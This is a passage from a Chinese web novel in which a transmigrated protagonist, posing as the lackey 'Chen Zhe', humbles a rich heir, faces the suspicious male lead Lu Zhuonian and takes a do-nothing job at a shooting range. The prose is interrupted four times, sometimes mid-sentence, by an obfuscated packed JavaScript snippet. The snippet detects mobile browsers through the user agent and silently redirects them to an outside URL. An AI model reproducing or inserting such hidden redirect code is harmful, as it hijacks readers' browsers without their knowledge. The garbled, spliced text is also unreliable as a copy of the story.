刘越博:“……” 说得轻松,还他妈怎么试? 众人面面相觑,都被一连串反转震得头脑发昏,不知该如何是好。 何逸南拍了拍陈则眠肩膀:“陈折,有话好说。” 陈则眠认同道:“确实该好好说话。” 何逸南性格温厚,是少爷圈里难得的老好人,从前陈折被为难时,他也曾替陈折解围。 陈则眠给了何逸南一个面子,松脚放过刘越博,抬手掸去衣襟溅上的咖啡,漫不经心地说:“刘少,嘴脏是病,得治。” 刘越博惊魂未定,看到陈则眠抬手,下意识往后躲了躲。 “别怕,”陈则眠低笑一声:“今天先请您喝冰咖降火,下次再让我听到您不好好讲话,我就请你多喝热水。” 众人:“……” 卧槽卧槽卧槽,陈折疯了吗? 他以前受了讥讽也不这样啊,难道这就是传说中的在沉默中爆发吗? 也太可怕了吧! 陈折容貌漂亮,笑起来嫣然如花,仿佛一朵盛放蘼艳的牡丹,正因如此,与这样美丽外表相迥异的言行才更加恐怖。 感觉他整个人精神状态都不太对。 不是一般的不对,是能免除刑事处罚的那种不对。 正所谓狂的怕疯的,少爷小姐们矜贵高傲,但也惜命怕死,谁敢惹疯子呢?要真是八杯热水浇下来,就是事后能剥了陈折的皮,当下疼的也是自己啊! 陈则眠抽出两张纸巾,递给刘越博:“擦擦脸吧。” 刘越博接过纸巾,指尖微微发抖,也不知是冷的还是吓的。 陈则眠和颜悦色:“说谢谢。” 刘越博是真害怕了:“谢……谢谢。” “认识到错误就好乖了,”陈则眠很满意,倾身盯着刘越博:“以后还骂我吗?” 刘越博飞快地摇摇头。 陈则眠笑了起来。 真好,又是以理服人的一天,成功改正了刘少爱说脏话的坏习惯。 陈则眠转身向薛铎走去。 如摩西分海,薛铎两边的人纷纷散开。 薛铎不自觉往后退了一步,心里狂骂这些胆小如鼠的狐朋狗友,暗道我又没骂陈折,他找我干什么啊? 陈则眠勾着薛铎的运动手环晃了晃。 薛铎灵光一闪,立刻认错:“我不该把手环扔给你,那样太不尊重人了。” 陈则眠疑惑地歪了下头:“说什么呢薛少,我是想问你喝什么咖啡。” “我不喝了,陈折,忽然之间不渴了呢,”薛铎一把按住自己的运动手环,转头看向其他人:“你们谁还要喝吗?” 谁敢喝啊! 薛铎的问题就像抛到了空气里,根本无人回答。 陈则眠说:“那我就随便买了。” 薛铎拽住陈折,把人请到安静而远离人群的角落暂坐,态度柔和如春风,像是在安抚一个定时炸弹:“我去买,你想喝什么,我去买。” 陈则眠忍笑道:“冰美式吧。” 薛铎连声说:“行行,冰美式好,冰美式快,还吃什么点心吗?” 陈则眠摇了摇头。 薛铎如蒙大赦,拿着自己的运动手环迅速退下了。 陈则眠觉得有趣,忍不住笑出声来。 其他人听到他突然莫名发笑,更觉得他精神不正常,连看都不敢往他那边看。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14900642|159526||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >休息区陷入良久的寂静。 陈则眠成为这片区域的无冕之王。 * 萧可颂一下场,刚走进休息区,就闻到了空气中弥漫的浓郁咖啡香。 陈折一个人远远的坐在角落,其余人三五成群,坐在休息区另一边。 这种情况在以往也很常见,他们和陈折玩不到一块儿去,陈折和他们坐在一起也别扭。 可今天……别扭的好像不是陈折。 千等万盼,终于等到萧可颂出现,一众二代少爷们纷纷朝他看过来,眼神有种说不出的复杂。 气氛有点怪异。 正这时,萧可颂的手机微微一震,二代群里有人在@他—— 萧少救命啊,能不能管管你小弟,他好像疯了。 萧可颂单手打字: 你才疯了。 发送消息后,萧可颂剑眉蹙起,不大高兴地看向众人。 这些人真是无聊,又趁他不在欺负陈折了吧,还在群里说陈折坏话。 太过分了。 萧可颂打开群聊天,一边朝陈折又去,一边翻看聊天记录。 二代群的群名称是[有福同享,有难退群],刚开始建群时人不多,就几个关系好的,后来一个拉一个的规模越来遇到,到现在群成员已经二百多人,有几个人还特别能聊,萧可颂嫌消息提醒很烦,开了消息免打扰,平常也不怎么看,有人@他才进去瞅一眼。 点进群里一看,他们果然在讨论陈折。 看了几页聊天记录,萧可颂大概总结出这些人在讨论的内容,当下觉得有些莫名其妙。 陈折把咖啡泼了刘越博一身,还把人给打了? 假的吧。 编瞎话也得编得真一点啊,陈折怎么可能会打人呢。 群里,又有人@萧可颂说:萧少,陈折是不是被什么东西附体了,他好可怕,之前也不这样啊。 也有人在说风凉话:之前陈折是边缘人物,现在是陆少跟前的红人。刘小少爷也是撞枪口上了,认倒霉吧。 萧可颂皱着眉,打下一串文字:闲的吧你们,能编点靠谱的故事吗?陈折哪儿像是会打架的人,他连吵架都不会。 群里,看到这条消息的人,同时陷入沉默。 萧可颂说的没错,陈折怎么看都不像会打架的样子。 可他就是很会打啊。 虽然从头到尾动作幅度都不大,但就是那几个动作就把刘越博按在沙发上反复摩擦,刘越博好几次想站都站不起来。 这还是打架吗? 简直是妖术! 口说无凭,有人在群里发了一张偷拍照片。 侧身的,还有点糊,勉强能看出是刘越博,他衣服上满是黑褐色洇湿水痕,头发也湿湿黏黏的打着绺,确实是被从头浇了一身咖啡的模样。 照片里一小块人影,更不清楚,从背影来看的确陈折。 两个人同时出现在一个画面里。 也算是有图有真相。 而且刘越博是个急脾气,如果是假的,不可能到现在都没跳出来反驳。 萧可颂在陈则眠身边坐下:“你把咖啡洒刘越博身上了?” 陈则眠正低头编辑新得来的几种枪支参数,闻言应了一声,漫不经心地说:“嗯,手滑了。” 【他手滑了。】 萧可颂一本正经地在群里回复: 【陈折不是故意的,这事就过了吧。】 两条消息发出后,二代群足足安静了五秒钟。 在场的几个人放下手机,不约而同地朝萧可颂看过来。 非常怀疑萧少是在什么精神状态下打出的这么一句话。 是不是被陈折魇着了? 拜托你清醒一点啊!萧少。 11.第 11 章 萧少看起来很清醒,精神状态也正常。 于是其他人都该疯了。 为证明他们没有胡说八道,薛铎冒着被刘越博暗杀的风险,也要把真相大白于天下。 【有福同享有难退群---群聊天】 可颂不是面包(萧可颂):他手滑了。 可颂不是面包:他肯定不是故意的,这事就过了吧。 开学恐惧症(薛铎):@可颂不是面包,这也是脚滑了吗? 开学恐惧症:图片.JDP (陈折脚踩刘越博图·近距离·高清) 这张照片一发,群里顿时开锅。 某二代A:我去! 某二代B:牛逼哇,这美人谁啊,好辣,有微信吗@开学恐惧症@可颂不是面包 某二代C:这腿又长又直,有点东西。 某二代D:你们富二代玩得真花,MVP结算画面都给发出来了? 逸南(何逸南):@开学恐惧症,你怎么什么都拍,还往群里发。 群提醒:开学恐惧症 撤回一条消息。 某二代B:晚啦,已截图。 某二代C:晚啦,已截图。 某二代D:晚啦,已截图。 某二代E:晚啦,已截图。 某二代F:晚啦,已截图。 在下陈折:晚啦,已截图。 众人:“!!!!!!!!!!!!!” 等等,谁???? 薛铎:……………………………… 陈折为什么会在群里?!!!! 聊天群再次陷入寂静。 这次是死寂。 萧可颂暗灭手机屏,伸头去看陈折的手机:“原来你在群里啊。” 陈则眠说:“是啊,之前你拉的我。” 萧可颂想起来确实是有这么一回事,忍不住笑了出来:“哈哈哈,你一直不说话,他们都以为你不在呢,还当着你面蛐蛐你,这也太尴尬了,我都替他们尴尬。” 陈则眠张嘴就胡说八道:“就是故意不说的,在他们讲我坏话时突然出现,吓死他们。” 萧可颂愈发觉得陈折好玩,就像躲在角落里突然出来吓人的小猫,猫猫祟祟的。 他问:“刚才薛铎发啥了,他撤回得太快了,我没看到。” 陈则眠说:“我也没看到。” 萧可颂惊讶道:“你不是说截图了吗?” 陈则眠面无表情:“没截,随便吓吓他。” 萧可颂往薛铎的方向看了看,果然看到了一个坐立难安的薛铎。 “你可真够坏的。”萧可颂说。 陈则眠不轻不重的嗯了一声。 萧可颂又是一阵轻笑。 陈则眠撑手看他,不明所以:“总笑什么?” 萧可颂歪头看着陈则眠:“我好像跟你说过,你每次发出单个音节的时候都特好玩,像个小猫。” 应该是跟陈折说的,陈则眠不记得,而且他也不觉得自己嗯一声像猫,就没说话,只默默瞥了萧可颂一眼,用无声的回答表示他的无语。 萧可颂忍俊不禁:“真的,跟我家养得那小缅因一样,叽叽咕咕的。” 薛铎过来给萧可颂送咖啡,听见这话脚下一滑,差点没把加了双倍糖的冰摩卡扔到萧少头上。 谁像小缅因?陈折吗? 小缅因可不会把八杯冰咖倒到人脑袋上,还一脚踩在人家膝盖上,把趾高气昂的刘越博吓的话都不敢说。 薛铎放下咖啡,想把萧可颂叫走,单独说说刚才的事情,可陈折就坐在旁边,片语不发,虎视眈眈地盯着他,仿佛只要自己讲出一句不该讲的,就立刻会被推出午门,斩首示众。 萧可颂见薛铎过来,跟他约了一会儿去场馆比赛射击,然后从手机里找出小猫照片给陈则眠看,问他养不养。 陈则眠看了一眼:“猫崽啊。” 萧可颂说:“对,刚两个月,还喝羊奶呢。” 陈则眠:“这么小好养吗?” 萧可颂叹了口气:“不好养,天天看不到人就叫,吵得我睡不着,所以这不问你养不养吗?” 陈则眠笑了:“是,我不用睡觉。” 萧可颂‘唉’了一声:“我可没这意思,你之前不是说特喜欢这个猫嘛,还夸它眼神有灵性,怎么说过就忘了,合着敷衍我呢是吧。” “没敷衍,”陈则眠实话实说:“纯逢迎。” 曲意逢迎。 陈折不仅不喜欢猫,他还很怕猫。 原书中有这么一段剧情,某个少爷知道陈折怕猫,捉弄他去猫咖取东西,还反锁了门不让人出来,他不知道陈折怕猫是因为对动物皮屑过敏,等带着人去看热闹时,才发现陈折产生了强烈的过敏症状,已经昏死过去。 陈则眠向另一边的二代堆看了一眼,现在原书剧情尚未正式开始,那个少爷也还没有出现。 不急,总会遇见的。 萧可颂不知道陈折怕猫,更不知道他过敏,还极力推荐陈折接手猫崽:“真的特别可爱,还很黏人,就是有点傻,每次我出门再回家它都不认识我了,一开门吓得往沙发后面躲,过一会儿才出来和我重新认识,就又黏着我了。” “我不养猫,”陈则眠想了想,说:“你可以问问叶宸。” 原书里叶宸就养了只缅因,冷峻寡言的军官私下里居然是猫奴,这个设定反差感很强,陈则眠印象很深。 现在想想,书里叶宸的那只缅因,没准就是接手的萧可颂这只。 萧可颂瞪大眼睛:“我才不会把我的猫交给那个冷血的男人。” 陈则眠斜觑萧可颂:“你都要弃养了,还有资格说别人冷血吗?” 萧可颂无言以对,抱着试试看的态度,把小猫照片给叶宸发过去。 没一会儿,叶宸回复消息,表示可以考虑。 萧可颂给猫找到了下家,心情一片大好,刚想赞扬陈折料事如神,转头却发现身后不知什么时候站了个人。 “灼年?” 萧可颂语调诧异:“你什么时候来的?” 在听到‘灼年’二字的瞬间,陈则眠心口一突,后脑勺连着脖颈阵阵发麻。 完了。 光顾着教训富二代小少爷,把陆灼年这茬给忘了。 他来多久了?什么时候来的? 陈则眠听力很好,在此之前,从没有人能悄无声息地走到他身后,而自己竟然一无所觉! 陆灼年走路怎么没有声。 男鬼吗? 萧可颂也有同样的疑问:“我 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14907217|159526||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 都不知道你来,怎么光站着也不说话。” 陆灼年声线很沉,声音从陈则眠身后偏上的方向传来,话却是对萧可颂说的:“场地备好了,你和薛铎去比赛吧。” 萧可颂非常够意思,不忘替陈折说明弄洒咖啡的事:“刚才陈折手滑打翻了一杯咖啡,弄脏沙发的钱从我卡上划吧。” 陆灼年竟然笑了笑:“一个沙发而已,小事。” 萧可颂拍拍陈则眠肩膀:“我去靶场了。” 陈则眠心虚作祟,趁势一同起身:“萧少,我陪你一起去吧。” 陆灼年眸光微沉。 萧可颂不赞同地看了陈则眠一眼,仿佛在谴责他没有抓好机会和陆灼年攀谈,表情有几分恨铁不成钢:“我还用你陪?想陪的话,你就替我陪灼年吧。” 陈则眠:“……” 谢谢,并不是很想陪。 萧可颂并未能听到陈则眠心声,叫上薛铎就走了,临走前还给了陈则眠一个‘好好表现’的眼神。 陈则眠:“……” 谢谢,并不是很想表现。 陆灼年在陈则眠另一侧的软椅上坐下,神情平淡沉稳,语调优游自如,很随意地说:“坐吧。” 陈则眠只得坐下,目光落在咖啡杯的瞬间,灵光一闪,又很快站起来:“我去给您买咖啡吧,陆少,您想喝什么。” 陆灼年左手在桌面轻点:“也要请我喝冰咖降火吗?” 陈则眠后脑勺发紧,总觉得陆灼年眼神意味深长,仿佛透过皮囊看到他的灵魂,莫名有种前几天都白演了错觉。 “陆少这么忙,也有时间看微信群啊,”陈则眠摸不准这话是陆灼年听来的,还是刘越博告状告到了陆灼年那里,不知如何应对才妥当,只能试探道:“都是些开玩笑的话,陆少不必当真。” 陆灼年没有说话,就这么看着陈则眠。 陈则眠也悄悄打量陆灼年。 陆灼年今天穿了一件白色衬衫,下摆扎进西裤里,许是因为在射击场肢体活动较多,就没有扎皮质腰带,而是穿了X型的背带固定衣摆,显得后背挺直如松,多了种被牵引的挺拔感,黑白对撞将颜色反差拉到顶点,视觉冲击力极强,气势逼人,即便没有握枪,也充满了狩猎者独有的野性美。 陈则眠感受到了审视。 陆灼年确实在审视,他在观察陈则眠。 从开始注意到陈折那天起,他就一直觉得这个人很不对劲。 陈折太古怪了,讲话奇怪,做事也出人意料,整个人从上到下、从里到外都透露着一种异常。 异常代表危险,代表不可控,代表超出预料。 也代表罕见、神秘、新奇。 陆灼年很矛盾,在还未决定接近还是远离之前,但潜意识已经为他做出选择。 他总是会不自觉观察陈折的一举一动。 江山易改,本性难移,虽然陈折故意表现得很狗腿,但他着实不善伪装,而陆灼年又格外耐心,善于捕捉常人难以发现的细节。 所以陈折每次压不住脾气和人动手,都恰好让陆灼年抓到了。 被抓到以后,陈折就会像一只露了尾巴的猫,慌里慌张地伸爪往回搂,结果却牙尖爪利,越搂漏得越多,最后直接摆烂不装了。 特别有意思。 12.第 12 章 陆灼年像某种矫健而敏锐的大型动物。 他静静注视着陈则眠,浑身上下每一个毛孔都透露出统治者的气息。 陈则眠忿然移开视线。 这喷不了,这真统治者。 陆灼年是这本书中唯一的、绝对的大男主,整个世界都是围绕着他转的,所有发生都有利于他,全部的财富、权势、人脉、气运都不断在向他靠拢。 从家世到能力,从外在到内在,陆灼年无一不是顶尖的、完美的,连个普通的白衬衫都能穿出龙袍的感觉。 人怎么可以爽成这样。 陈则眠再一次感叹。 这个世界有这么多资源,为什么不能分给他一点,就非得都给陆灼年吗? 哎,想这些也都是没用的,原书里那么多少爷,他不还是穿成了一个命苦悲惨的狗腿小弟,只是回击了一个刘越博,就面临着被陆灼年发现异常的危险。 真是太惨了。 与其期待那些不切实际的好运忽然砸在自己头上,还不如好好做游戏,等把那款射击游戏做出来,可以骗陆灼年进去玩,然后趁他还不会操作,在游戏里拿机关枪突突他。 我要冲陆灼年开一百枪,打空弹夹,射他脸上。 还可以用平底锅拍他,骗他用手雷炸自己。 陈则眠思绪越飘越远。 看着陈则眠逐渐涣散的眼神,陆灼年伸出左手,反手屈指敲了敲桌面,不悦道:“陈折。” 第一次,陈则眠没反应过来是在叫他,直到陆灼年又叫了一次‘陈折’,他才回过神,意识到这现在是自己的名字了。 “嗯?” 陈则眠抬起头,看向陆灼年,跟触发了自动回复一样:“陆少您有什么吩咐?” 陆灼年注视着陈则眠,看了半秒才说:“陈折,注意力集中,别总像个人机。” 陈则眠一阵心虚。 他刚才还在意淫怎么把陆灼年骗到游戏当人机打,甚至还想抄陆灼年的脸做个游戏建模。 真的是很伟大的一张脸。 不做建模可惜了。 陆灼年的不悦已经转换成了无奈:“陈折,你又在走神。” 陈则眠今天来射击场,就是为了搜集游戏设定参数,所以很容易进入工作状态,看到什么合适的东西都想搬进游戏里,确实比平常思维发散些。 他们做游戏主策的人就是这样。 需要善于发现,从平凡枯燥的生活中找到游戏卖点。 又开始走神了。 陆灼年真诚地提出建议:“陈折,成年后也其实也可以做感统训练。” 陈则眠思绪快速回笼:“我注意力没问题的陆少,刚才在想事情。” 陆灼年仿佛只是随口一问:“想什么?” 陈则眠努力绕回最初的起点:“想陆少怎么知道我和刘越博说了什么。” 陆灼年轻轻抬了抬下巴。 陈则眠跟着看过去—— 看到了闪烁着红光的监控摄像头。 又是监控! 以后绝对不能在陆家的产业上打架了,怎么还带场景回播的。 都怪陆家产业太多了! 陆灼年也真是闲得没事干,谁家好男主天天盯着监控看啊。 不过既然看了监控,那前因后果也无需他叙述,陆灼年应该能看得清楚,不是他先挑的事。 陆灼年食指搭在桌面,有一搭没一搭地轻叩着:“刘家在京市还是很有势力的,你今天得罪他,就没想以后怎么办?” 陈则眠轻咳一声,避重就轻道:“刘越博没事找事,之前几次和我过不去,骂我也就算了,今天还骂您。” 只要一口咬定出手教训刘越博是为了陆少,刘家便没法再为难他,否则就好像刘家没觉得刘越博骂陆少有错,明摆着和陆家过不去。 而且陈则眠这话也不是毫无依据,以往几次刘越博骂他,他确实是‘算了’,只有这次才动手,就算所有人都知道他是在借题发挥,但也没人能绕过这个‘题’去整治陈则眠。 谁让刘越博骂人的时候口无遮拦,捎带上另外一位惹不起的太子爷呢。 陈则眠抱紧陆灼年大腿,又补了一句:“骂我可以,骂陆少不行。” 陆灼年目光轻移,不紧不慢地扫过陈则眠:“为什么?” “因为我是您的小弟啊,”陈则眠眉眼太过漂亮,即便刻意露出狗腿谄媚的笑容也不讨厌,反而神采飞扬,春风得意:“大哥受辱,就是小弟无能,我决不允许任何人当着我的面辱骂您。” 陆灼年像 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14913710|159526||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是信了:“真的吗?” 陈则眠也有点入戏:“当然,打主人还得看狗嘛。” 陆灼年:“……” 陈则眠越扯越没边:“别说是一个刘家,就是京市八大家一起对付您,也无法动摇我对陆少的半分忠心。” 陆灼年都不知道京市什么时候有了‘八大家’。 上一次听到这几个字还是在初中,唐宋散文八大家作为考点,出现在初中语文教材的注解里。 陆灼年问:“什么是京市八大家。” 陈则眠一个半路穿越过来的,哪里知道原书后文中赫赫有名的‘京市八大家族’眼下还未现雏形,只当陆灼年在考自己是否了解京中局势,于是开口便是剧透:“陆家、叶家、萧家、傅家、秦家、沈家、顾家、闫家。” 确实都是一些好有实力的家族。 陆灼年眉梢微挑:“所以你的意思是,即便有一天这些人都针对我、反对我,你也会像今天这样坚定地站在我这边。” 陈则眠点头。 他坚信陆灼年的胜率100%。 男主从来只会赢,不会输,应该是非常好维护的。 原书后期,陆家叛徒联合另外七大家族对付陆灼年,陆灼年众叛亲离,但仍在层层围剿中杀出一条血路,逆风翻盘,反将七大家杀了个七零八落。 陈则眠不走心的承诺就像呼吸一样简单:“当然。” 陆灼年深深看了陈则眠一眼,眸光中闪过一缕幽邃难懂的暗芒,很快又归于平静。 “你最好说到做到。” 陆灼年缓缓转开视线:“陈折,既然你这么诚恳,以后就跟着我做事吧。” 陆大少言出必践,从不含糊。 说要陈则眠跟着他做事,陈则眠还真有事要做。 陆灼年说完这话的第二天,就安排陈则眠到射击场工作,职位是保管员,负责枪支弹药的安全保管。 至于具体保管些什么…… 拿到枪械展馆钥匙的时候,陈则眠感觉自己在做梦。 把一个枪械武器爱好者放到射击场展馆工作,简直和白给福利没有。 从今天起,展馆那些枪械都归陈则眠管理。 他可以近距离触摸心爱的枪支了。 随便摸! 13.第 13 章 射击场管事经理姓王,叫王骏。 四十岁上下,寸头方脸,个子不高,但身材壮实精悍,有一种很能压得住场的强悍气势。 王骏把工牌和工资卡一并推过去:“展厅和展柜都是双人双锁,以后你和小闫一起负责这块儿,工作还是很轻松的,展厅卫生有物业保洁,不用你管,你就三五不时地擦擦枪,注意下场馆内的温湿度,只要注意一点就是千万别丢枪。” 陈则眠说:“好,我知道了,王经理。” “叫骏哥就行,我把小闫叫过来,你们认识一下,”王骏摆摆手,拿起内线电话:“让小闫过来一趟。” 几分钟后,办公室的门有节奏地响了三声,门外传来清洌的少年音。 “经理。” 王骏说:“进来。” 闫洛推开门,看到王骏坐在办公椅上,对面还站了个人。 那人背对着他,逆光站在桌前,明晃晃的看不清穿了什么,只觉身材高挑,骨骼纤细,肩膀偏窄,腰也瘦,逆光描了层金边后单薄得像张纸,双腿倒是又长又直,跟测量过似的,和上身形成完美的黄金比例。 王骏介绍道:“小闫,这是你的新同事陈折,你叫陈哥就行。” 闫洛点点头,不卑不亢地叫了声:“陈哥。” 那个叫陈折的转过身来,露出一张小小的巴掌脸:“你好。” 闫洛不动声色地观察陈折。 从陈折转身扭腰的动作,可以看出对方核心力量非常强,而且四肢灵活,有种反应迅速的敏捷感,确实消瘦,但肌肉薄而有力,手腕骨感很重,关节突出,看起来轻盈强劲。 闫洛猜测这个人应该很能打,而且爆发力极强,但因为瘦,耐力一般。 王骏继续介绍:“陈折,这是闫洛,小闫,” 闫洛发现,在听到他名字的时候,陈折瞳孔有一瞬变化。 陈则眠何止是眼神有变化。 听到‘闫洛’两个字的刹那,他心潮起伏! 闫洛是原书中重要的配角,性格冷傲偏执,天生一身反骨,谁也不服,只听陆灼年的话。 他幼时被陆灼年所救,后又为救陆灼年而死,英年早逝,死时年仅22岁,成为读者心中最意难平的角色。 闫洛此时年纪尚小,也就十六七岁的模样,身量还未完全长开。 他微微侧身站着,双脚前后分开,是一种很警惕的站姿,像一只孤傲的幼兽,眼眸也是乌沉沉的,削薄嘴唇轻轻抿起,勾出一道倔强的弧度。 两人又听王骏交代了几句,然后一起离开了办公室。 闫洛沉默寡言,也不与陈则眠搭话,只默默往前走,直到值班室门口,才简短地说:“平时不用开展柜,可以在值班室休息。有人来参观的话,把钥匙给经理。” 听起来是一份很轻松的工作。 陈则眠第一次见闫洛,他参观那天不是闫洛来开的柜门,于是就问:“不用咱们去开柜门吗?” “我一般不去,”闫洛看了陈则眠一眼:“你听经理安排吧。” 陈则眠点点头:“那擦枪的工作你们之前是怎么排的。” 闫洛手已经搭在门把手上了,闻言又松开,转过身说:“一直都是我擦的,陈哥不用操心这些杂事,我做就好。” 陈则眠之前做游戏主策的,也带过上千人的团队,最喜欢这种话少又能干的小孩,用起来特别省心,短暂交谈几句过后,就发现闫洛确实如书中所写般踏实可靠,难怪后来会成为陆灼年生死相托的合作伙伴。 可惜死得太早了。 第二天上班,闫洛和陈则眠一起打开展柜,陈则眠撑手看着闫洛擦枪,偶尔问几句注意事项,除此之外再无其他交流。 接下来几天都是如此。 后来有一天,陈则眠自告奋勇要求擦枪,闫洛才多说了几句话,大多数是讲陈则眠是前辈,不需要沾手干这些杂活,他自己做就可以,已经做惯了不觉得麻烦,而且他想为陆灼年做些事。 这是闫洛首次提起陆灼年,陈则眠当然顺着往下聊了几句,闫洛透露的信息很少,但结合原书中描写,也能拼凑出个大概。 闫洛出生那天恰逢中秋节,闫家上下团聚一堂,正逢闫母胎动发作,家里长辈高兴多吃了几杯酒,一位族中大伯醉酒脑梗进了急诊,抢救无效而亡,前后间隔不到半个小时,闫洛出生。 长辈去世当天,小辈降生,在哪里都透出几分不吉利,闫家又是做生意的,对风水之说更为迷信,找了大师算过,说闫洛‘属未定的分离破灭数’。 是批语大凶大恶,暗示闫洛的命数内外波澜平生,注定困苦不安,摇动遭难,克父伤母,破灭无常。 闫父听后便想改了闫洛的姓氏,把他远远送走,断了父母亲缘。闫母却是不肯,夫妻俩闹了许久。 有天,闫母和丈夫吵了架独自出门,不慎发生车祸,当场没了气息。 这下闫家更加相信闫洛命凶,说什么都不肯再养,故意叫保姆穿金戴银地带着孩子上街,‘不小心’弄丢了孩子。 闫洛被人贩子偷走,辗转卖到南方。 结果收买他的一家也接连倒霉,就又把他卖了,新买他的一家人经常打他,还用热水烫他,用针扎他。 后来他就跑了。 那年他八岁。 从八岁开始,闫洛就学着自己养自己,他讨过饭、当过小偷、打过黑拳、还跟着‘大哥’放过高利贷,因为未成年一直被免于处罚,但他命格实在太凶,沦落到哪个团伙,哪个团伙就迅速完蛋,大哥们落网的落网,潜逃的潜逃。 直到遇见陆灼年。 陆灼年是在一条小巷子里遇见的这个野猫一样的少年,他被几个人按在地上打,蜷缩着身子,鼻青脸肿、半死不活,衣服破破烂烂的,整个人脏兮兮的。 “陆少救了我,我就跟他走了。” 种种坎坷,在闫洛过于简明的转述下只剩11个字。 陈则眠一边擦枪,一边问:“遇到陆少那年你多大?” 闫洛说:“14。” 陈则眠把枪放回展台:“所以你今年16。” 闫洛猫儿一样的瞳孔迅速扩张,又狠狠收缩,发出一声短促而疑惑的:“嗯?” 陈则眠没继续往下说,闫洛就一直瞪着陈则眠,明明想问他是怎么知道自己年龄的,又执拗地不肯开口,就这么看着陈则眠,等他自己说出来,颇有种你要不说我就瞪到天荒地老的架势。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14919095|159526||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “想知道我是怎么知道的?”陈则眠没和小孩子硬犟,很快给出台阶。 闫洛飞快点头:“嗯。” 陈则眠实话实说:“瞎猜的,随便诈你一下。” 闫洛缓缓睁大眼睛,似乎不敢相信自己就这么轻易地被诈了,有点生自己的气。 讲话最容易泄露秘密,他已经很少讲了,怎么还是被陈折给绕进去了。 诡计多端的陈折! 如果陈折直接问他是不是16,闫洛相信自己一定能做好表情管理,可陈折偏偏先问了他几岁遇见的陆少。 他先说了14,陈折又紧接着说了16,闫洛惊讶的同时以为是谁告诉过陈折他和陆少认识了两年,所以陈折才会得出16这么个数来。 谁能想到陈折是纯瞎蒙。 可恶的陈折。 闫洛狠狠拧着抹布,决定再也不和陈折说话了。 他的决定只维持到了下午。 周六下午,射击场的客流量会比工作日多。 展厅的工作人员忙不开,临时请闫洛充当讲解员,接待一下来参观的客人。 闫洛其实并不算是射击场的工作人员,他只是住在这里,偶尔帮帮忙,他手上的展柜钥匙和陈则眠手上的展柜钥匙一样,都是备用的—— 展厅有专门的保管员,就是陈则眠来参观时见到的那两个。 闫洛管备用钥匙是因为他住在这里,万一需要用的时候拿取方便。 至于为什么陈则眠负责管另一把备用钥匙…… 大概是陆灼年也不知道陈则眠能做什么事,就随便安排了个岗位安放他。 难怪自上班以来,从没有谁找过他干活,估计是所有人都知道他是来混日子的。 包括闫洛都得过王经理的交代,所以才什么都不用他干。 陈则眠努力争取了很久,才连拿带抢地擦了三支枪。 这简直是打工人梦寐以求的清闲工作,清闲到陈则眠大脑都快不转了。 陆灼年真是个好大哥。 只是随便扔过来一把备用钥匙给他保管,就开出每个月五位数的工资,上完五险一金到手还有八千多。 “除了陆大少,还有谁能每个月白给我八千块钱呢,”陈则眠对陆灼年赞不绝口:“不枉费我这么辛苦地巴结他。” 萧可颂咬着吸管,欲言又止道:“可是你虽然挣了他的工资,但钱都用来买子弹玩了,资金回流之后,不还是到他的账户上吗。” 陈则眠:“……” 玩枪确实挺烧钱的,一发子弹最便宜的也要十几块,贵一些的五六十,每次都十发起卖,砰砰几枪下去几百块钱就没了。 陈则眠每天在射击场无所事事,除了玩枪就是玩枪,才上班一个多星期,已经买了二万多的子弹了。 他一个月工资才八千啊。 这个陆灼年不愧是做大生意的,无与伦比的经济头脑已经初见雏形,居然把一个爱玩枪的人放在射击场工作。 实在是阴险! 陈则眠雷霆微怒:“我竟然看错他了!” “你多小心点吧,”萧可颂用同情的眼神看向陈则眠:“陆灼年这个人很狡猾的,你别被他卖了还替他数钱。” 14.第 14 章 领到第一个月工资后,陈则眠大概算了算—— 这份工作带来的收入是-32085元。 虽然一直在付费上班,但这真的是一份很爽的工作,陈则眠是BOSS直聘,空降了一个本不存在的岗位,日常的工作内容就是没有工作。 这段时间,陆灼年只来过射击场一次,陈则眠简单刷了下存在感,可能是表现得太过谄媚,把老板恶心到了,然后陆灼年就不来了。 爽。 